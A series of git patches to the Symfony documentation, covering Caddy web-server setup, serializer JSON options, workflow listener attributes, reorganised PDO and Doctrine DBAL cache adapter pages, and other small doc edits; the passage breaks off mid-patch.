 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 1682c8a58de..6723d0abaa3 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -6,7 +6,7 @@ The preferred way to develop your Symfony application is to use
 
 However, when running the application in the production environment, you'll need
 to use a fully-featured web server. This article describes how to use Symfony
-with Apache or Nginx.
+with Apache, Nginx or Caddy.
 
 .. sidebar:: The public directory
 
@@ -187,7 +187,7 @@ Caddy
 
 When using Caddy on the server, you can use a configuration like this:
 
-.. code-block:: raw
+.. code-block:: text
 
     # /etc/caddy/Caddyfile
     example.com, www.example.com {
@@ -225,3 +225,4 @@ Caddy in a container infrastructure.
 
 .. _`Nginx documentation`: https://www.nginx.com/resources/wiki/start/topics/recipes/symfony/
 .. _`How to run Symfony applications using NGINX Unit`: https://unit.nginx.org/howto/symfony/
+.. _`official Caddy documentation`: https://caddyserver.com/docs/

From 98c4b219f9e6a24520392f2d0be9d5b4c099a458 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gabriel=20Ostroluck=C3=BD?= <gabriel.ostrolucky@gmail.com>
Date: Wed, 2 Aug 2023 20:45:07 +0200
Subject: [PATCH 3608/5766] [Serializer] Add support for seld/jsonlint

---
 components/serializer.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 9c1fcd5e621..5178f9e2ebe 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -999,6 +999,24 @@ context to pass in these options using the key ``json_encode_options`` or
 
     $this->serializer->serialize($data, 'json', ['json_encode_options' => \JSON_PRESERVE_ZERO_FRACTION]);
 
+These are the options available:
+
+=============================== =====================================================  ================================
+Option                           Description                                            Default
+=============================== =====================================================  ================================
+``json_decode_associative``     If set to true returns the result as an array,         ``false``
+                                returns a nested ``stdClass`` hierarchy otherwise.     ``false``
+``json_decode_detailed_errors`` If set to true, exceptions thrown on parsing of JSON   ``false``
+                                are more specific. Requires `seld/jsonlint`_ package.
+``json_encode_options``         `$flags`_ passed to `json_decode`_ function            ``0``
+``json_decode_options``         `$flags`_ passed to `json_encode`_ function            ``\JSON_PRESERVE_ZERO_FRACTION``
+``json_decode_recursion_depth`` Sets maximum recursion depth                           ``512``
+=============================== =====================================================  ================================
+
+.. versionadded:: 6.4
+
+    The support of ``json_decode_detailed_errors`` was introduced in Symfony 6.4.
+
 The ``CsvEncoder``
 ~~~~~~~~~~~~~~~~~~
 
@@ -1828,3 +1846,7 @@ Learn more
 .. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
 .. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
 .. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
+.. _seld/jsonlint: https://github.com/Seldaek/jsonlint
+.. _json_decode: https://www.php.net/manual/en/function.json-decode.php
+.. _json_encode: https://www.php.net/manual/en/function.json-encode.php
+.. _$flags: https://www.php.net/manual/en/json.constants.php

From 4c537e77181460e279544585627192d5a05394f2 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 3 Aug 2023 13:17:47 +0200
Subject: [PATCH 3609/5766] [AssetMapper] Mark component as non experimental

---
 frontend/asset_mapper.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 37404ef5dbc..17a80af3fce 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -3,9 +3,7 @@ AssetMapper: Simple, Modern CSS & JS Management
 
 .. versionadded:: 6.3
 
-    The AssetMapper component was introduced as an
-    :doc:`experimental feature </contributing/code/experimental>` in
-    Symfony 6.3.
+    The AssetMapper component was introduced in Symfony 6.3.
 
 The AssetMapper component lets you write modern JavaScript and CSS without the complexity
 of using a bundler. Browsers *already* support many modern JavaScript features

From aea773cbdfe3c2efaec683fd0c1552cd98a6a944 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 3 Aug 2023 16:37:10 +0200
Subject: [PATCH 3610/5766] [Workflow] Remove registry workflow retrieval
 occurrences

---
 workflow.rst | 24 +-----------------------
 1 file changed, 1 insertion(+), 23 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index b0dd2f2495a..02abd4da037 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -275,28 +275,6 @@ machine type, use ``camelCased workflow name + StateMachine``::
         }
     }
 
-Alternatively, use the registry::
-
-    use App\Entity\BlogPost;
-    use Symfony\Component\Workflow\Registry;
-
-    class MyClass
-    {
-        private $workflowRegistry;
-
-        public function __construct(Registry $workflowRegistry)
-        {
-            $this->workflowRegistry = $workflowRegistry;
-        }
-
-        public function toReview(BlogPost $post)
-        {
-            $blogPublishingWorkflow = $this->workflowRegistry->get($post);
-
-            // ...
-        }
-    }
-
 .. tip::
 
     You can find the list of available workflow services with the
@@ -1051,7 +1029,7 @@ In a :ref:`flash message <flash-messages>` in your controller::
 
     // $transition = ...; (an instance of Transition)
 
-    // $workflow is a Workflow instance retrieved from the Registry or injected directly (see above)
+    // $workflow is an injected Workflow instance
     $title = $workflow->getMetadataStore()->getMetadata('title', $transition);
     $this->addFlash('info', "You have successfully applied the transition with title: '$title'");
 

From 86e71a427361d111c364856cbcc7f8d0e392c22f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Aug 2023 17:54:27 +0200
Subject: [PATCH 3611/5766] Tweaks

---
 components/serializer.rst | 24 +++++++++++-------------
 1 file changed, 11 insertions(+), 13 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 5178f9e2ebe..14497e917ed 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1001,17 +1001,17 @@ context to pass in these options using the key ``json_encode_options`` or
 
 These are the options available:
 
-=============================== =====================================================  ================================
-Option                           Description                                            Default
-=============================== =====================================================  ================================
-``json_decode_associative``     If set to true returns the result as an array,         ``false``
-                                returns a nested ``stdClass`` hierarchy otherwise.     ``false``
-``json_decode_detailed_errors`` If set to true, exceptions thrown on parsing of JSON   ``false``
-                                are more specific. Requires `seld/jsonlint`_ package.
-``json_encode_options``         `$flags`_ passed to `json_decode`_ function            ``0``
-``json_decode_options``         `$flags`_ passed to `json_encode`_ function            ``\JSON_PRESERVE_ZERO_FRACTION``
-``json_decode_recursion_depth`` Sets maximum recursion depth                           ``512``
-=============================== =====================================================  ================================
+===============================  ========================================================  ================================
+Option                           Description                                               Default
+===============================  ========================================================  ================================
+``json_decode_associative``      If set to true returns the result as an array,            ``false``
+                                 returns a nested ``stdClass`` hierarchy otherwise.        ``false``
+``json_decode_detailed_errors``  If set to true, exceptions thrown on parsing of JSON      ``false``
+                                 are more specific. Requires `seld/jsonlint`_ package.
+``json_encode_options``          `$flags`_ passed to :phpfunction:`json_decode`_ function  ``0``
+``json_decode_options``          `$flags`_ passed to :phpfunction:`json_encode`_ function  ``\JSON_PRESERVE_ZERO_FRACTION``
+``json_decode_recursion_depth``  Sets maximum recursion depth                              ``512``
+===============================  ========================================================  ================================
 
 .. versionadded:: 6.4
 
@@ -1847,6 +1847,4 @@ Learn more
 .. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
 .. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
 .. _seld/jsonlint: https://github.com/Seldaek/jsonlint
-.. _json_decode: https://www.php.net/manual/en/function.json-decode.php
-.. _json_encode: https://www.php.net/manual/en/function.json-encode.php
 .. _$flags: https://www.php.net/manual/en/json.constants.php

From acf60125ffda2c3cadf924c34059187de619acaf Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 3 Aug 2023 16:26:51 +0200
Subject: [PATCH 3612/5766] [Workflow] Add PHP attributes to register listeners
 and guards

---
 reference/attributes.rst | 11 +++++++++++
 workflow.rst             | 36 ++++++++++++++++++++++++++++++++++++
 2 files changed, 47 insertions(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 217c73346f0..761099a7356 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -117,6 +117,17 @@ Each validation constraint comes with a PHP attribute. See
 
 * :doc:`HasNamedArgument </validation/custom_constraint>`
 
+Workflow
+~~~~~~~~
+
+* :ref:`AsAnnounceListener <workflow_using-events>`
+* :ref:`AsCompletedListener <workflow_using-events>`
+* :ref:`AsEnterListener <workflow_using-events>`
+* :ref:`AsEnteredListener <workflow_using-events>`
+* :ref:`AsGuardListener <workflow_using-events>`
+* :ref:`AsLeaveListener <workflow_using-events>`
+* :ref:`AsTransitionListener <workflow_using-events>`
+
 .. _`AsEntityAutocompleteField`: https://symfony.com/bundles/ux-autocomplete/current/index.html#usage-in-a-form-with-ajax
 .. _`AsLiveComponent`: https://symfony.com/bundles/ux-live-component/current/index.html
 .. _`AsTwigComponent`: https://symfony.com/bundles/ux-twig-component/current/index.html
diff --git a/workflow.rst b/workflow.rst
index dad77a90386..bca1f129863 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -361,6 +361,8 @@ name.
     You can find the list of available workflow services with the
     ``php bin/console debug:autowiring workflow`` command.
 
+.. _workflow_using-events:
+
 Using Events
 ------------
 
@@ -519,6 +521,40 @@ it via the marking::
     // contains the new value
     $marking->getContext();
 
+It is also possible to listen to these events by declaring event listeners
+with the following attributes:
+
+* :class:`Symfony\\Component\\Workflow\\Attribute\\AsAnnounceListener`
+* :class:`Symfony\\Component\\Workflow\\Attribute\\AsCompletedListener`
+* :class:`Symfony\\Component\\Workflow\\Attribute\\AsEnterListener`
+* :class:`Symfony\\Component\\Workflow\\Attribute\\AsEnteredListener`
+* :class:`Symfony\\Component\\Workflow\\Attribute\\AsGuardListener`
+* :class:`Symfony\\Component\\Workflow\\Attribute\\AsLeaveListener`
+* :class:`Symfony\\Component\\Workflow\\Attribute\\AsTransitionListener`
+
+These attributes do work like the
+:class:`Symfony\\Component\\EventDispatcher\\Attribute\\AsEventListener`
+attributes::
+
+    class ArticleWorkflowEventListener
+    {
+        #[AsTransitionListener(workflow: 'my-workflow', transition: 'published')]
+        public function onPublishedTransition(TransitionEvent $event): void
+        {
+            // ...
+        }
+
+        // ...
+    }
+
+You may refer to the documentation about
+:ref:`defining event listeners with PHP attributes <event-dispatcher_event-listener-attributes>`
+for further use.
+
+.. versionadded:: 6.4
+
+    The workflow event attributes were introduced in Symfony 6.4.
+
 .. _workflow-usage-guard-events:
 
 Guard Events

From 6146bfdbf232b2d41e7dd01414b99505f4408b0e Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Fri, 4 Aug 2023 10:56:46 +0200
Subject: [PATCH 3613/5766] [DependencyInjection] Mention `debug:autowiring`
 command with argument

---
 service_container.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index 5065effb976..5b15dd83356 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -694,6 +694,12 @@ But, you can control this and pass in a different logger:
 This tells the container that the ``$logger`` argument to ``__construct`` should use
 service whose id is ``monolog.logger.request``.
 
+For a list of possible logger services that can be used with autowiring, run:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:autowiring logger
+
 .. _container-debug-container:
 
 For a full list of *all* possible services in the container, run:

From 1e4150504d90e5ecebd1ebd7f0bce9053cd3561b Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Fri, 4 Aug 2023 11:32:20 +0200
Subject: [PATCH 3614/5766] [Cache] Fix doc for Doctrine DBAL adapter

---
 cache.rst                                     | 23 ++---
 .../cache/adapters/doctrine_dbal_adapter.rst  | 45 +++++++++
 .../cache/adapters/filesystem_adapter.rst     |  2 +-
 components/cache/adapters/pdo_adapter.rst     | 55 +++++++++++
 .../adapters/pdo_doctrine_dbal_adapter.rst    | 95 -------------------
 components/cache/cache_pools.rst              |  3 +-
 6 files changed, 115 insertions(+), 108 deletions(-)
 create mode 100644 components/cache/adapters/doctrine_dbal_adapter.rst
 create mode 100644 components/cache/adapters/pdo_adapter.rst
 delete mode 100644 components/cache/adapters/pdo_doctrine_dbal_adapter.rst

diff --git a/cache.rst b/cache.rst
index 118ef13a326..a22912c36b1 100644
--- a/cache.rst
+++ b/cache.rst
@@ -106,10 +106,11 @@ The Cache component comes with a series of adapters pre-configured:
 
 * :doc:`cache.adapter.apcu </components/cache/adapters/apcu_adapter>`
 * :doc:`cache.adapter.array </components/cache/adapters/array_cache_adapter>`
-* :doc:`cache.adapter.doctrine </components/cache/adapters/doctrine_adapter>`
+* :doc:`cache.adapter.doctrine </components/cache/adapters/doctrine_adapter>` (deprecated)
+* :doc:`cache.adapter.doctrine_dbal </components/cache/adapters/doctrine_dbal_adapter>`
 * :doc:`cache.adapter.filesystem </components/cache/adapters/filesystem_adapter>`
 * :doc:`cache.adapter.memcached </components/cache/adapters/memcached_adapter>`
-* :doc:`cache.adapter.pdo </components/cache/adapters/pdo_doctrine_dbal_adapter>`
+* :doc:`cache.adapter.pdo </components/cache/adapters/pdo_adapter>`
 * :doc:`cache.adapter.psr6 </components/cache/adapters/proxy_adapter>`
 * :doc:`cache.adapter.redis </components/cache/adapters/redis_adapter>`
 * :ref:`cache.adapter.redis_tag_aware <redis-tag-aware-adapter>` (Redis adapter optimized to work with tags)
@@ -130,8 +131,8 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
             cache:
                 directory: '%kernel.cache_dir%/pools' # Only used with cache.adapter.filesystem
 
-                # service: cache.doctrine
-                default_doctrine_provider: 'app.doctrine_cache'
+                # service: cache.doctrine_dbal
+                default_doctrine_dbal_provider: 'doctrine.dbal.default_connection'
                 # service: cache.psr6
                 default_psr6_provider: 'app.my_psr6_service'
                 # service: cache.redis
@@ -139,7 +140,7 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
                 # service: cache.memcached
                 default_memcached_provider: 'memcached://localhost'
                 # service: cache.pdo
-                default_pdo_provider: 'doctrine.dbal.default_connection'
+                default_pdo_provider: 'pgsql:host=localhost'
 
     .. code-block:: xml
 
@@ -155,7 +156,7 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
         >
             <framework:config>
                 <!--
-                default_doctrine_provider: Service: cache.doctrine
+                default_doctrine_dbal_provider: Service: cache.doctrine_dbal
                 default_psr6_provider: Service: cache.psr6
                 default_redis_provider: Service: cache.redis
                 default_memcached_provider: Service: cache.memcached
@@ -163,11 +164,11 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
                 -->
                 <!-- "directory" attribute is only used with cache.adapter.filesystem -->
                 <framework:cache directory="%kernel.cache_dir%/pools"
-                    default_doctrine_provider="app.doctrine_cache"
+                    default_doctrine_dbal_provider="doctrine.dbal.default_connection"
                     default_psr6_provider="app.my_psr6_service"
                     default_redis_provider="redis://localhost"
                     default_memcached_provider="memcached://localhost"
-                    default_pdo_provider="doctrine.dbal.default_connection"
+                    default_pdo_provider="pgsql:host=localhost"
                 />
             </framework:config>
         </container>
@@ -181,8 +182,8 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
             $framework->cache()
                 // Only used with cache.adapter.filesystem
                 ->directory('%kernel.cache_dir%/pools')
-                // Service: cache.doctrine
-                ->defaultDoctrineProvider('app.doctrine_cache')
+                // Service: cache.doctrine_dbal
+                ->defaultDoctrineDbalProvider('doctrine.dbal.default_connection')
                 // Service: cache.psr6
                 ->defaultPsr6Provider('app.my_psr6_service')
                 // Service: cache.redis
@@ -190,7 +191,7 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
                 // Service: cache.memcached
                 ->defaultMemcachedProvider('memcached://localhost')
                 // Service: cache.pdo
-                ->defaultPdoProvider('doctrine.dbal.default_connection')
+                ->defaultPdoProvider('pgsql:host=localhost')
             ;
         };
 
diff --git a/components/cache/adapters/doctrine_dbal_adapter.rst b/components/cache/adapters/doctrine_dbal_adapter.rst
new file mode 100644
index 00000000000..3b955832147
--- /dev/null
+++ b/components/cache/adapters/doctrine_dbal_adapter.rst
@@ -0,0 +1,45 @@
+.. _doctrine-dbal-adapter:
+
+Doctrine DBAL Cache Adapter
+===========================
+
+The Doctrine DBAL adapters store the cache items in a table of an SQL database.
+
+.. note::
+
+    This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
+    allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>`
+    by calling the ``prune()`` method.
+
+The :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` requires a
+`Doctrine DBAL Connection`_, or `Doctrine DBAL URL`_ as its first parameter.
+You can pass a namespace, default cache lifetime, and options array as the other
+optional arguments::
+
+    use Symfony\Component\Cache\Adapter\DoctrineDbalAdapter;
+
+    $cache = new DoctrineDbalAdapter(
+
+        // a Doctrine DBAL connection or DBAL URL
+        $databaseConnectionOrURL,
+
+        // the string prefixed to the keys of the items stored in this cache
+        $namespace = '',
+
+        // the default lifetime (in seconds) for cache items that do not define their
+        // own lifetime, with a value 0 causing items to be stored indefinitely (i.e.
+        // until the database table is truncated or its rows are otherwise deleted)
+        $defaultLifetime = 0,
+
+        // an array of options for configuring the database table and connection
+        $options = []
+    );
+
+.. note::
+
+    DBAL Connection are lazy-loaded by default; some additional options may be
+    necessary to detect the database engine and version without opening the
+    connection.
+
+.. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/src/Connection.php
+.. _`Doctrine DBAL URL`: https://www.doctrine-project.org/projects/doctrine-dbal/en/latest/reference/configuration.html#connecting-using-a-url
diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index 331dbb2dff6..237ac3bc60e 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -41,7 +41,7 @@ and cache root path as constructor parameters::
     choices. If throughput is paramount, the in-memory adapters
     (:ref:`Apcu <apcu-adapter>`, :ref:`Memcached <memcached-adapter>`, and
     :ref:`Redis <redis-adapter>`) or the database adapters
-    (:ref:`PDO <pdo-doctrine-adapter>`) are recommended.
+    (:ref:`Doctrine DBAL <doctrine-dbal-adapter>`, :ref:`PDO <pdo-adapter>`) are recommended.
 
 .. note::
 
diff --git a/components/cache/adapters/pdo_adapter.rst b/components/cache/adapters/pdo_adapter.rst
new file mode 100644
index 00000000000..62d4dcc90aa
--- /dev/null
+++ b/components/cache/adapters/pdo_adapter.rst
@@ -0,0 +1,55 @@
+.. _pdo-adapter:
+
+PDO Cache Adapter
+=================
+
+The PDO adapters store the cache items in a table of an SQL database.
+
+.. note::
+
+    This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
+    allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>`
+    by calling the ``prune()`` method.
+
+The :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` requires a :phpclass:`PDO`,
+or `DSN`_ as its first parameter. You can pass a namespace,
+default cache lifetime, and options array as the other optional arguments::
+
+    use Symfony\Component\Cache\Adapter\PdoAdapter;
+
+    $cache = new PdoAdapter(
+
+        // a PDO connection or DSN for lazy connecting through PDO
+        $databaseConnectionOrDSN,
+
+        // the string prefixed to the keys of the items stored in this cache
+        $namespace = '',
+
+        // the default lifetime (in seconds) for cache items that do not define their
+        // own lifetime, with a value 0 causing items to be stored indefinitely (i.e.
+        // until the database table is truncated or its rows are otherwise deleted)
+        $defaultLifetime = 0,
+
+        // an array of options for configuring the database table and connection
+        $options = []
+    );
+
+The table where values are stored is created automatically on the first call to
+the :method:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter::save` method.
+You can also create this table explicitly by calling the
+:method:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter::createTable` method in
+your code.
+
+.. deprecated:: 5.4
+
+    Using :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` with a
+    :class:`Doctrine\\DBAL\\Connection` or a DBAL URL is deprecated since Symfony 5.4
+    and will be removed in Symfony 6.0.
+    Use :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` instead.
+
+.. tip::
+
+    When passed a `Data Source Name (DSN)`_ string (instead of a database connection
+    class instance), the connection will be lazy-loaded when needed.
+
+.. _`DSN`: https://php.net/manual/pdo.drivers.php
diff --git a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
deleted file mode 100644
index 3615d5a1bbf..00000000000
--- a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
+++ /dev/null
@@ -1,95 +0,0 @@
-.. _pdo-doctrine-adapter:
-
-PDO & Doctrine DBAL Cache Adapter
-=================================
-
-The PDO and Doctrine DBAL adapters store the cache items in a table of an SQL database.
-
-.. note::
-
-    These adapters implement :class:`Symfony\\Component\\Cache\\PruneableInterface`,
-    allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>`
-    by calling the ``prune()`` method.
-
-Using PHP PDO
--------------
-
-The :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` requires a :phpclass:`PDO`,
-or `Data Source Name (DSN)`_ as its first parameter. You can pass a namespace,
-default cache lifetime, and options array as the other optional arguments::
-
-    use Symfony\Component\Cache\Adapter\PdoAdapter;
-
-    $cache = new PdoAdapter(
-
-        // a PDO connection or DSN for lazy connecting through PDO
-        $databaseConnectionOrDSN,
-
-        // the string prefixed to the keys of the items stored in this cache
-        $namespace = '',
-
-        // the default lifetime (in seconds) for cache items that do not define their
-        // own lifetime, with a value 0 causing items to be stored indefinitely (i.e.
-        // until the database table is truncated or its rows are otherwise deleted)
-        $defaultLifetime = 0,
-
-        // an array of options for configuring the database table and connection
-        $options = []
-    );
-
-The table where values are stored is created automatically on the first call to
-the :method:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter::save` method.
-You can also create this table explicitly by calling the
-:method:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter::createTable` method in
-your code.
-
-.. deprecated:: 5.4
-
-    Using :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` with a
-    :class:`Doctrine\\DBAL\\Connection` or a DBAL URL is deprecated since Symfony 5.4
-    and will be removed in Symfony 6.0.
-    Use :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` instead.
-
-.. tip::
-
-    When passed a `Data Source Name (DSN)`_ string (instead of a database connection
-    class instance), the connection will be lazy-loaded when needed. DBAL Connection
-    are lazy-loaded by default; some additional options may be necessary to detect
-    the database engine and version without opening the connection.
-
-Using Doctrine DBAL
--------------------
-
-The :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` requires a
-`Doctrine DBAL Connection`_, or `Doctrine DBAL URL`_ as its first parameter.
-You can pass a namespace, default cache lifetime, and options array as the other
-optional arguments::
-
-    use Symfony\Component\Cache\Adapter\DoctrineDbalAdapter;
-
-    $cache = new DoctrineDbalAdapter(
-
-        // a Doctrine DBAL connection or DBAL URL
-        $databaseConnectionOrURL,
-
-        // the string prefixed to the keys of the items stored in this cache
-        $namespace = '',
-
-        // the default lifetime (in seconds) for cache items that do not define their
-        // own lifetime, with a value 0 causing items to be stored indefinitely (i.e.
-        // until the database table is truncated or its rows are otherwise deleted)
-        $defaultLifetime = 0,
-
-        // an array of options for configuring the database table and connection
-        $options = []
-    );
-
-.. note::
-
-    DBAL Connection are lazy-loaded by default; some additional options may be
-    necessary to detect the database engine and version without opening the
-    connection.
-
-.. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/src/Connection.php
-.. _`Doctrine DBAL URL`: https://www.doctrine-project.org/projects/doctrine-dbal/en/latest/reference/configuration.html#connecting-using-a-url
-.. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
diff --git a/components/cache/cache_pools.rst b/components/cache/cache_pools.rst
index ac7cf945429..bd4488f2b48 100644
--- a/components/cache/cache_pools.rst
+++ b/components/cache/cache_pools.rst
@@ -203,8 +203,9 @@ This shortcoming has been solved through the introduction of
 :class:`Symfony\\Component\\Cache\\PruneableInterface`, which defines the abstract method
 :method:`Symfony\\Component\\Cache\\PruneableInterface::prune`. The
 :ref:`ChainAdapter <component-cache-chain-adapter>`,
+:ref:`DoctrineDbalAdapter <doctrine-dbal-adapter>`, and
 :ref:`FilesystemAdapter <component-cache-filesystem-adapter>`,
-:ref:`PdoAdapter <pdo-doctrine-adapter>`, and
+:ref:`PdoAdapter <pdo-adapter>`, and
 :ref:`PhpFilesAdapter <component-cache-files-adapter>` all implement this new interface,
 allowing manual removal of stale cache items::
 

From bfa29bbabe8f0be32136c0003e05614d85bacbf2 Mon Sep 17 00:00:00 2001
From: Mathieu <math.lechat@gmail.com>
Date: Fri, 4 Aug 2023 12:23:20 +0200
Subject: [PATCH 3615/5766] [Security] Show you can pass badges to
 `Security::login`

---
 security.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 54a0f56c9e6..dda562d4434 100644
--- a/security.rst
+++ b/security.rst
@@ -1710,6 +1710,7 @@ You can log in a user programmatically using the ``login()`` method of the
 
     use App\Security\Authenticator\ExampleAuthenticator;
     use Symfony\Bundle\SecurityBundle\Security;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\RememberMeBadge;
 
     class SecurityController
     {
@@ -1727,9 +1728,12 @@ You can log in a user programmatically using the ``login()`` method of the
             // ...or the service id of custom authenticators
             $security->login($user, ExampleAuthenticator::class);
 
-            // you can also log in on a different firewall
+            // you can also log in on a different firewall...
             $security->login($user, 'form_login', 'other_firewall');
 
+            // ...and add badges
+            $security->login($user, 'form_login', 'other_firewall', [(new RememberMeBadge())->enable()]);
+
             // use the redirection logic applied to regular login
             $redirectResponse = $security->login($user);
             return $redirectResponse;
@@ -1743,6 +1747,10 @@ You can log in a user programmatically using the ``login()`` method of the
 
     The feature to use a custom redirection logic was introduced in Symfony 6.3.
 
+.. versionadded:: 6.4
+
+    The feature to add badges was introduced in Symfony 6.4.
+
 .. _security-logging-out:
 
 Logging Out

From e4a3b1c07a9fbfe73d8007fda3d1541cc875e256 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 5 Aug 2023 12:19:24 +0200
Subject: [PATCH 3616/5766] Typo in cache dir env var explanation

---
 configuration/override_dir_structure.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 7528c250729..2a5df047611 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -67,7 +67,7 @@ Console script::
 Web front-controller::
 
     // public/index.php
-    
+
     // ...
     $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'another/custom/path/to/.env';
 
@@ -109,8 +109,8 @@ In this code, ``$this->environment`` is the current environment (i.e. ``dev``).
 In this case you have changed the location of the cache directory to
 ``var/{environment}/cache/``.
 
-You can also change the cache directory defining an environment variable named
-``APP_CACHE_DIR`` whose value is the full path of the cache folder.
+You can also change the cache directory by defining an environment variable
+named ``APP_CACHE_DIR`` whose value is the full path of the cache folder.
 
 .. caution::
 

From 837872e0c5f5442bb36674dc4188653c4a47137b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 5 Aug 2023 12:18:20 +0200
Subject: [PATCH 3617/5766] [FrameworkBundle] Support `APP_BUILD_DIR`

---
 reference/configuration/kernel.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 20787e153d8..a25b6c2fd42 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -22,6 +22,14 @@ container or AWS Lambda.
 This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getBuildDir`
 method of the kernel class, which you can override to return a different value.
 
+You can also change the build directory by defining an environment variable
+named ``APP_BUILD_DIR`` whose value is the full path of the build folder.
+
+.. versionadded:: 6.4
+
+    The support of the ``APP_BUILD_DIR`` environment variable was introduced in
+    Symfony 6.4.
+
 ``kernel.bundles``
 ------------------
 

From 28c797407201c1ea062ecc3938730793d7fb0b4d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 5 Aug 2023 12:25:25 +0200
Subject: [PATCH 3618/5766] [Serializer] Fix serializer table

---
 components/serializer.rst | 20 +++++++++-----------
 1 file changed, 9 insertions(+), 11 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 14497e917ed..f9a9ed4b985 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1001,17 +1001,15 @@ context to pass in these options using the key ``json_encode_options`` or
 
 These are the options available:
 
-===============================  ========================================================  ================================
-Option                           Description                                               Default
-===============================  ========================================================  ================================
-``json_decode_associative``      If set to true returns the result as an array,            ``false``
-                                 returns a nested ``stdClass`` hierarchy otherwise.        ``false``
-``json_decode_detailed_errors``  If set to true, exceptions thrown on parsing of JSON      ``false``
-                                 are more specific. Requires `seld/jsonlint`_ package.
-``json_encode_options``          `$flags`_ passed to :phpfunction:`json_decode`_ function  ``0``
-``json_decode_options``          `$flags`_ passed to :phpfunction:`json_encode`_ function  ``\JSON_PRESERVE_ZERO_FRACTION``
-``json_decode_recursion_depth``  Sets maximum recursion depth                              ``512``
-===============================  ========================================================  ================================
+===============================  =========================================================================================================== ================================
+Option                           Description                                                                                                 Default
+===============================  ==========================================================================================================  ================================
